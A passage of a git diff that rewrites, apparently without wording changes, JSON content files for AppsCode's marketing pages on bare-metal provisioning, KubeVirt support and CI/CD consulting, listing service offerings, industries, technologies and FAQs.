"image": "/assets/images/services/customized-os-building-and-verification.png" - }, - { - "title": "KubeVirt Enterprise Support", - "description": "Scale or adopt KubeVirt with guidance from engineers who contributed to its open-source development.", - "offerings": [ - "Adoption Support: Step-by-step guidance for new KubeVirt users.", - "Enterprise Assistance: Enterprise-grade support for production workloads.", - "Software Integration: Accelerate provisioning workflows with KubeVirt tools and pipelines." - ], - "image": "/assets/images/services/tinkerbell-enterprise-support.png" - }, - { - "title": "On-Prem Kubernetes Provisioning", - "description": "Deploy and manage Kubernetes clusters on-prem for performance, security, and compliance.", - "offerings": [ - "Custom Deployment Plans: Recommend best practices for secure and scalable on-prem Kubernetes.", - "Resilient Architecture: Configure access controls, backup, and disaster recovery for multi-tenant clusters." - ], - "image": "/assets/images/services/on-prem-kubernetes-provisioning.png" - } - ] - }, - "industries": { - "title": "Industry Expertise", - "subtitle": "Serving 100+ clients, we understand compliance, critical requirements, and the importance of getting it right the first time.", - "additional_text": "From global enterprises to fast-growing startups, we’ve got you covered!", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Highly available and compliant systems to handle transactions 24/7." - }, - { - "icon": "fa fa-laptop", - "title": "Technology, SaaS & Internet", - "description": "Integrate AI into SaaS while managing GPU infrastructure for peak performance." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage AI/ML to meet customer expectations and build safer, sustainable solutions." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Modernize operations for inspections, monitoring, and cost efficiency." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Process patient data efficiently using cloud GPU instances for secure and fast analytics." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless, scalable operations and real-time updates for customer satisfaction." - } - ] - }, - "tech_stack": { - "title": "Our Technical Expertise", - "subtitle": "Our engineers have hands-on experience with over 100 clients in the following technologies:", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Enterprise-Grade KubeVirt & On-Prem Support", - "subtitle": "Automate your bare metal provisioning confidently with 24/7 support from the engineers behind KubeVirt.", - "buttons": [ - { - "text": "Discuss Enterprise Support", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why Partner with AppsCode for Bare Metal Provisioning?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Developers", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-briefcase", - "title": "Domain Expertise", - "description": "Proven best practices from engagements with 100+ clients." - }, - { - "icon": "fa fa-trophy", - "title": "First Mover Advantage", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Practical Training", - "description": "Hands-on training to build deep knowledge of core concepts and best practices." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "In-House Expertise", - "description": "90% engineering team working directly on projects with no outsourcing." - } - ] - }, - "faq": [ - { - "question": "What do your Bare Metal Provisioning & On-Prem Infrastructure Consulting services include?", - "answer": "Our Bare Metal Provisioning & On-Prem Infrastructure Consulting services cover the complete lifecycle of deploying, managing, and optimizing physical infrastructure. From initial assessment, hardware provisioning, network setup, to system integration and operational best practices, we ensure high-performance, secure, and reliable on-prem environments." - }, - { - "question": "Which technologies and practices are used in on-prem infrastructure consulting?", - "answer": "We leverage server provisioning tools, virtualization platforms, Kubernetes on bare metal, storage and network configuration best practices, and monitoring/observability tools. Our approach ensures efficient resource utilization, operational resilience, and scalable infrastructure management." - }, - { - "question": "Can you work with our existing on-prem infrastructure?", - "answer": "Yes — we integrate with your current setup, optimize existing hardware and network configurations, and help transition workloads to more reliable, scalable, and secure on-prem or hybrid environments as needed." - }, - { - "question": "What is the typical timeline and engagement model for these services?", - "answer": "Most engagements begin with a 1–2 week discovery phase to assess your existing infrastructure and requirements. Implementation continues in 4–8 week phases depending on scope. Engagements can be fixed-scope, time-and-materials, or long-term consulting partnerships." - }, - { - "question": "Do you support hybrid or multi-cloud integration with on-prem environments?", - "answer": "Absolutely. Our consulting services provide guidance for hybrid architectures, integrating on-prem systems with public clouds like AWS, Azure, or GCP, ensuring seamless operations, scalability, and consistency across environments." - }, - { - "question": "How do you ensure quality, security, and reliability in on-prem environments?", - "answer": "We follow industry best practices including hardware validation, automated provisioning, monitoring, access control, and disaster recovery planning. These measures ensure secure, reliable, and high-performing on-prem infrastructure." - }, - { - "question": "What happens after infrastructure provisioning and consulting?", - "answer": "After deployment, we provide operational support, monitoring, optimization, and scaling guidance. Our Bare Metal Provisioning & On-Prem Infrastructure Consulting services include ongoing recommendations to maintain performance, security, and cost efficiency." - }, - { - "question": "How much do these consulting services cost, and what are the pricing models?", - "answer": "Costs depend on infrastructure scope, complexity, number of servers, and ongoing support requirements. We offer fixed-scope projects, hourly consulting, or retainers for continuous support. Detailed proposals are provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "Expert Bare Metal Provisioning & On-Prem Infrastructure Consulting", + "subtitle": "Automate and optimize your on-premises infrastructure with our consulting, implementation, and enterprise-grade support services.", + "cta_text": "Talk to an Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/bare-metal-provisioning-consulting-hero.png", + "alt": "Bare Metal Provisioning Consulting Services" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Globally" + }, + "title_with_small_cards": { + "title": "Why Choose Bare Metal Provisioning Consulting?", + "areas": [ + { + "icon": "fa fa-rocket", + "title": "Accelerate On-Prem Infrastructure Provisioning" + }, + { + "icon": "fa fa-lock", + "title": "Secure & Cost-Efficient On-Prem Deployments" + }, + { + "icon": "fa fa-cubes", + "title": "Automated & Declarative Provisioning Workflows" + }, + { + "icon": "fa fa-lightbulb-o", + "title": "Best Practices from Infrastructure Experts" + }, + { + "icon": "fa fa-cogs", + "title": "Tailored Solutions for Your Organization" + }, + { + "icon": "fa fa-wrench", + "title": "Proven Architectures & Recommended Tools" + }, + { + "icon": "fa fa-users", + "title": "Scale Resources On Demand" + }, + { + "icon": "fa fa-gift", + "title": "Accelerators to Boost Productivity & Efficiency" + } + ] + }, + "service_details": { + "title": "Our Bare Metal Provisioning Services", + "subtitle": "Leverage our consulting expertise for seamless adoption and enterprise-grade implementation:", + "sections": [ + { + "title": "On-Prem Hardware to MaaS Consulting", + "description": "Optimize hardware provisioning and automate workflows for platform engineers and developers.", + "offerings": [ + "Expert Assessment: Evaluate your hardware environment and business requirements for automation readiness.", + "Collaborative Analysis: Design API-driven, automated provisioning with your IT and architecture teams.", + "Strategic Roadmap: Identify challenges, recommend tools, and deliver a roadmap aligned with your business goals." + ], + "image": "/assets/images/services/on-prem-hardware-to-maas-guidance.png" + }, + { + "title": "Custom OS Image Building & Verification", + "description": "Secure and reproducible OS images for multiple architectures with cross-vendor support.", + "offerings": [ + "Tailored Builds: Custom OS images with essential packages and artifacts included.", + "CI Pipelines: Reproducible and verifiable OS builds for production environments.", + "Cross-Vendor Distribution: Seamless deployment of OS images across your data centers." + ], + "image": "/assets/images/services/customized-os-building-and-verification.png" + }, + { + "title": "KubeVirt Enterprise Support", + "description": "Scale or adopt KubeVirt with guidance from engineers who contributed to its open-source development.", + "offerings": [ + "Adoption Support: Step-by-step guidance for new KubeVirt users.", + "Enterprise Assistance: Enterprise-grade support for production workloads.", + "Software Integration: Accelerate provisioning workflows with KubeVirt tools and pipelines." + ], + "image": "/assets/images/services/tinkerbell-enterprise-support.png" + }, + { + "title": "On-Prem Kubernetes Provisioning", + "description": "Deploy and manage Kubernetes clusters on-prem for performance, security, and compliance.", + "offerings": [ + "Custom Deployment Plans: Recommend best practices for secure and scalable on-prem Kubernetes.", + "Resilient Architecture: Configure access controls, backup, and disaster recovery for multi-tenant clusters." + ], + "image": "/assets/images/services/on-prem-kubernetes-provisioning.png" + } + ] + }, + "industries": { + "title": "Industry Expertise", + "subtitle": "Serving 100+ clients, we understand compliance, critical requirements, and the importance of getting it right the first time.", + "additional_text": "From global enterprises to fast-growing startups, we’ve got you covered!", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Highly available and compliant systems to handle transactions 24/7." + }, + { + "icon": "fa fa-laptop", + "title": "Technology, SaaS & Internet", + "description": "Integrate AI into SaaS while managing GPU infrastructure for peak performance." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage AI/ML to meet customer expectations and build safer, sustainable solutions." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Modernize operations for inspections, monitoring, and cost efficiency." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Process patient data efficiently using cloud GPU instances for secure and fast analytics." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless, scalable operations and real-time updates for customer satisfaction." + } + ] + }, + "tech_stack": { + "title": "Our Technical Expertise", + "subtitle": "Our engineers have hands-on experience with over 100 clients in the following technologies:", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Enterprise-Grade KubeVirt & On-Prem Support", + "subtitle": "Automate your bare metal provisioning confidently with 24/7 support from the engineers behind KubeVirt.", + "buttons": [ + { + "text": "Discuss Enterprise Support", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why Partner with AppsCode for Bare Metal Provisioning?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Developers", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-briefcase", + "title": "Domain Expertise", + "description": "Proven best practices from engagements with 100+ clients." + }, + { + "icon": "fa fa-trophy", + "title": "First Mover Advantage", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Practical Training", + "description": "Hands-on training to build deep knowledge of core concepts and best practices." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "In-House Expertise", + "description": "90% engineering team working directly on projects with no outsourcing." + } + ] + }, + "faq": [ + { + "question": "What do your Bare Metal Provisioning & On-Prem Infrastructure Consulting services include?", + "answer": "Our Bare Metal Provisioning & On-Prem Infrastructure Consulting services cover the complete lifecycle of deploying, managing, and optimizing physical infrastructure. From initial assessment, hardware provisioning, network setup, to system integration and operational best practices, we ensure high-performance, secure, and reliable on-prem environments." + }, + { + "question": "Which technologies and practices are used in on-prem infrastructure consulting?", + "answer": "We leverage server provisioning tools, virtualization platforms, Kubernetes on bare metal, storage and network configuration best practices, and monitoring/observability tools. Our approach ensures efficient resource utilization, operational resilience, and scalable infrastructure management." + }, + { + "question": "Can you work with our existing on-prem infrastructure?", + "answer": "Yes — we integrate with your current setup, optimize existing hardware and network configurations, and help transition workloads to more reliable, scalable, and secure on-prem or hybrid environments as needed." + }, + { + "question": "What is the typical timeline and engagement model for these services?", + "answer": "Most engagements begin with a 1–2 week discovery phase to assess your existing infrastructure and requirements. Implementation continues in 4–8 week phases depending on scope. Engagements can be fixed-scope, time-and-materials, or long-term consulting partnerships." + }, + { + "question": "Do you support hybrid or multi-cloud integration with on-prem environments?", + "answer": "Absolutely. Our consulting services provide guidance for hybrid architectures, integrating on-prem systems with public clouds like AWS, Azure, or GCP, ensuring seamless operations, scalability, and consistency across environments." + }, + { + "question": "How do you ensure quality, security, and reliability in on-prem environments?", + "answer": "We follow industry best practices including hardware validation, automated provisioning, monitoring, access control, and disaster recovery planning. These measures ensure secure, reliable, and high-performing on-prem infrastructure." + }, + { + "question": "What happens after infrastructure provisioning and consulting?", + "answer": "After deployment, we provide operational support, monitoring, optimization, and scaling guidance. Our Bare Metal Provisioning & On-Prem Infrastructure Consulting services include ongoing recommendations to maintain performance, security, and cost efficiency." + }, + { + "question": "How much do these consulting services cost, and what are the pricing models?", + "answer": "Costs depend on infrastructure scope, complexity, number of servers, and ongoing support requirements. We offer fixed-scope projects, hourly consulting, or retainers for continuous support. Detailed proposals are provided after the assessment phase." + } + ] +} diff --git a/data/services/platform-engineering/ci_cd_consulting.json b/data/services/platform-engineering/ci_cd_consulting.json index d738450211..8a6e3e591e 100644 --- a/data/services/platform-engineering/ci_cd_consulting.json +++ b/data/services/platform-engineering/ci_cd_consulting.json @@ -1,408 +1,408 @@ -{ - "hero": { - "title": "Expert CI/CD Consulting Services for DevOps Automation", - "subtitle": "Accelerate development, streamline deployments, and enhance software delivery efficiency with our expert CI/CD consulting and implementation services.", - "cta_text": "Speak with a CI/CD Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/ci-cd-consulting.png", - "alt": "CI/CD Consulting Services" - } - }, - "trusted_by": { - "title": "Trusted by Leading Global Enterprises" - }, - "title_with_small_cards": { - "title": "Benefits of Our CI/CD Consulting Services", - "areas": [ - { - "icon": "fa fa-rocket", - "title": "Accelerated Software Delivery" - }, - { - "icon": "fa fa-shield", - "title": "Improved System Resiliency" - }, - { - "icon": "fa fa-thumbs-up", - "title": "Enhanced Team Productivity" - }, - { - "icon": "fa fa-cogs", - "title": "Reduced Operational Overhead" - }, - { - "icon": "fa fa-lock", - "title": "Secure & Risk-Aware Deployments" - }, - { - "icon": "fa fa-clock-o", - "title": "Lower Mean Time to Resolution (MTTR)" - }, - { - "icon": "fa fa-bug", - "title": "Fewer Bugs & Production Incidents" - }, - { - "icon": "fa fa-eye", - "title": "Proactive Issue Detection" - } - ] - }, - "service_details": { - "title": "Our CI/CD Consulting & Implementation Expertise", - "subtitle": "Tailored, end-to-end Continuous Integration and Continuous Delivery solutions for modern DevOps pipelines.", - "sections": [ - { - "title": "CI/CD Strategy & Consulting", - "description": "Our CI/CD consultants analyze your current infrastructure and workflows to recommend scalable, automated, and secure CI/CD solutions tailored to your business.", - "offerings": [ - "Implement modern DevOps automation with reliable, cost-effective CI/CD pipelines.", - "Align CI/CD solutions with existing infrastructure, team workflow, and business goals.", - "Provide actionable recommendations to optimize release cycles and software quality." - ], - "image": "/assets/images/services/ci-cd-consulting-consulting.png" - }, - { - "title": "CI/CD Pipeline Design & Architecture", - "description": "Design, revamp, or optimize CI/CD pipelines to ensure maximum automation, visibility, and control across development teams.", - "offerings": [ - "Create or overhaul CI/CD pipelines from scratch for end-to-end automation.", - "Ensure transparency and monitoring of all pipeline stages.", - "Deliver custom CI/CD architecture tailored to your organization’s requirements." - ], - "image": "/assets/images/services/ci-cd-consulting-design.png" - }, - { - "title": "CI/CD Implementation & Automation", - "description": "Deploy robust CI/CD workflows, automate testing, monitoring, and production deployments for reliable and faster software delivery.", - "offerings": [ - "Implement and configure CI/CD pipelines using Jenkins, ArgoCD, Prometheus, and Grafana.", - "Automate infrastructure provisioning, testing, and monitoring for consistent reliability.", - "Enable zero-downtime deployments and rollback strategies." - ], - "image": "/assets/images/services/ci-cd-consulting-implementation.png" - }, - { - "title": "CI/CD Training & Enablement", - "description": "Upskill your teams with practical CI/CD principles, DevOps best practices, and hands-on pipeline management to ensure long-term success.", - "offerings": [ - "Train teams on CI/CD tools, workflows, and DevOps methodologies.", - "Share real-world implementation experience for faster adoption.", - "Build internal expertise for continuous improvement and pipeline automation." - ], - "image": "/assets/images/services/ci-cd-consulting-training.png" - } - ] - }, - "cards_group": { - "title": "AppsCode’s AAA Framework for Platform Engineering", - "models": [ - { - "number": "01", - "title": "ADOPT", - "description": "Evaluate current tools and practices using our comprehensive Platform Engineering Assessment framework." - }, - { - "number": "02", - "title": "ACCELERATE", - "description": "Ensure product-market fit for your platform and promote adoption across teams." - }, - { - "number": "03", - "title": "ASSETS", - "description": "Scale platform adoption and assessment processes organization-wide." - } - ] - }, - "service_details2": { - "title": "Platform Engineering Consulting Services", - "sections": [ - { - "title": "Product Market Fit Assessment", - "description": "Align your platform with developer needs through structured assessments and iterative feedback.", - "offerings": [ - "Understand developer workflows, tools, and challenges.", - "Analyze existing tech landscape to design scalable, integrated solutions.", - "Continuously refine the platform based on developer insights." - ], - "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/product-market-fit-assessment.svg" - }, - { - "title": "MVP Strategy & Platform Roadmap", - "description": "Plan the foundation for a successful internal developer platform (IDP).", - "offerings": [ - "Define a strategic roadmap for platform evolution, feature development, and scaling.", - "Identify core MVP features aligned with business goals and developer needs.", - "Iteratively enhance platform functionality based on continuous feedback." - ], - "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/mvp-strategy-platform-roadmap-consulting.svg" - }, - { - "title": "Platform Design & Development", - "description": "Build robust, scalable platforms tailored to your organization's unique needs.", - "offerings": [ - "Architect agile platforms adaptable to evolving developer requirements.", - "Design user-centric interfaces for seamless experiences.", - "Deliver end-to-end full-stack platform solutions for cohesion and reliability." - ], - "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/platform-design-and-development.svg" - }, - { - "title": "Integrations & Ecosystem Setup", - "description": "Seamlessly integrate tools and services to enhance platform usability and developer efficiency.", - "offerings": [ - "Implement integrations swiftly to maintain technological relevance.", - "Establish supportive services to streamline developer workflows.", - "Deliver custom integrations tailored to your unique ecosystem." - ], - "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/integrations-ecosystem-setup.svg" - }, - { - "title": "Platform Support & Maintenance", - "description": "Ensure consistent platform performance with proactive maintenance and support.", - "offerings": [ - "Provide long-term platform support for developers and stakeholders.", - "Maintain updates, patches, and security enhancements.", - "Offer customized maintenance plans based on platform needs." - ], - "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/platform-support-maintenance.svg" - }, - { - "title": "Platform Engineering Training & Support", - "description": "Upskill teams in cloud foundations, modernization, and platform engineering best practices.", - "offerings": [ - "Train teams to become self-sufficient in platform engineering.", - "Create training materials and comprehensive documentation for operations." - ], - "image": "https://www.appscode.com/assets/img/platform-engineering-consulting/platform-engineering-training-support.svg" - } - ] - }, - "industries": { - "title": "We Understand Your Industry", - "subtitle": "With experience serving 100+ clients, we know critical requirements, compliance needs, and the importance of accuracy.", - "additional_text": "From global enterprises to fast-growing startups, we’ve got you covered!", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Deliver secure, compliant, highly available systems for 24/7 transactions." - }, - { - "icon": "fa fa-laptop", - "title": "Technology, SaaS & Internet", - "description": "Integrate AI capabilities while managing high-performance cloud infrastructure." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage AI and ML to enhance safety, customer experience, and sustainability." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Modernize operations for better monitoring, inspections, and cost efficiency." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Process patient data efficiently and securely using cloud GPU solutions." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless, scalable operations and instant updates for customers." - } - ] - }, - "tech_stack": { - "title": "Diverse Technical Expertise", - "subtitle": "Serving 100+ clients, our engineers excel in:", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Optimize Your CI/CD Pipelines Today", - "subtitle": "Increase deployment frequency, reduce lead times, improve security, and accelerate software delivery with AppsCode experts.", - "buttons": [ - { - "text": "Talk to a CI/CD Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why Partner with AppsCode?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Developers", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-briefcase", - "title": "Domain Expertise", - "description": "Apply best practices gained from 100+ client engagements." - }, - { - "icon": "fa fa-trophy", - "title": "First Mover Advantage", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Training", - "description": "Hands-on training to build expertise in CI/CD and DevOps." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-wrench", - "title": "Scale Easily", - "description": "Expand your engineering team without the hassle of hiring or training." - } - ] - }, - "resources": { - "title": "Cloud-Native Product Engineering Resources", - "items": [ - { - "type": "Blog", - "title": "Getting Started with Perses The Free, Open Source Grafana Alternative", - "image": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/hero_hu030f24f1ec9a9fe9c13de5ab0e9d783a_31026_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/" - }, - { - "type": "Blog", - "title": "Future-Proof Your Data Strategy - Why Kubernetes is the Engine Behind Stateful Workloads & Modern AI", - "image": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_254620_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/" - }, - { - "type": "Event", - "title": "KubeConNA Digest - Top Trends and Key Takeaways from This Year’s Event by AppsCode", - "image": "https://appscode.com/blog/post/kubecon-na-2024/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_69997_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/kubecon-na-2024/" - } - ] - }, - "faq": [ - { - "question": "What do your CI/CD Consulting Services include?", - "answer": "Our CI/CD Consulting Services cover the full lifecycle of continuous integration and delivery — from evaluating your current processes, defining pipelines, integrating DevOps best practices, to implementing automation for faster, reliable, and repeatable software releases." - }, - { - "question": "Which technologies and practices are used in CI/CD consulting?", - "answer": "We leverage tools and platforms like Jenkins, GitHub Actions, GitLab CI, Kubernetes, Docker, and infrastructure as code. Our approach ensures automated testing, reliable deployments, and seamless integration with cloud-native architectures and microservices environments." - }, - { - "question": "Can you work with our existing development and deployment workflows?", - "answer": "Yes — we integrate with your current tech stack and workflows. Our engineers enhance existing pipelines, implement best practices, and optimize for continuous delivery to improve speed, quality, and operational confidence." - }, - { - "question": "What is the typical timeline and engagement model for CI/CD Consulting Services?", - "answer": "Engagements usually start with a 1–2 week assessment to analyze your current processes. Implementation follows in 4–8 week agile sprints. We offer flexible models including fixed-scope projects, time-and-materials engagements, or long-term consulting partnerships." - }, - { - "question": "Do you support multi-cloud or hybrid cloud environments in CI/CD pipelines?", - "answer": "Absolutely. Our CI/CD Consulting Services support AWS, Azure, GCP, and on-premises Kubernetes clusters. Pipelines are designed to be portable and consistent, ensuring smooth deployments across different environments." - }, - { - "question": "How do you ensure quality, security, and reliability in CI/CD pipelines?", - "answer": "We ensure quality with automated testing and code reviews, enforce security with secrets management and role-based access, and maintain reliability through robust monitoring, rollback strategies, and disaster recovery practices." - }, - { - "question": "What happens after the CI/CD pipelines are implemented?", - "answer": "After implementation, we help monitor pipeline performance, optimize automation, and provide guidance for scaling. Our CI/CD Consulting Services also include continuous improvements and best practices to maintain operational efficiency and reliability." - }, - { - "question": "How much do CI/CD Consulting Services cost and what are the pricing models?", - "answer": "Costs vary depending on the complexity of your pipelines, number of teams, and ongoing support needs. We offer flexible pricing models including fixed-scope projects, hourly engagements, and long-term consulting retainers. Detailed proposals are provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "Expert CI/CD Consulting Services for DevOps Automation", + "subtitle": "Accelerate development, streamline deployments, and enhance software delivery efficiency with our expert CI/CD consulting and implementation services.", + "cta_text": "Speak with a CI/CD Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/ci-cd-consulting.png", + "alt": "CI/CD Consulting Services" + } + }, + "trusted_by": { + "title": "Trusted by Leading Global Enterprises" + }, + "title_with_small_cards": { + "title": "Benefits of Our CI/CD Consulting Services", + "areas": [ + { + "icon": "fa fa-rocket", + "title": "Accelerated Software Delivery" + }, + { + "icon": "fa fa-shield", + "title": "Improved System Resiliency" + }, + { + "icon": "fa fa-thumbs-up", + "title": "Enhanced Team Productivity" + }, + { + "icon": "fa fa-cogs", + "title": "Reduced Operational Overhead" + }, + { + "icon": "fa fa-lock", + "title": "Secure & Risk-Aware Deployments" + 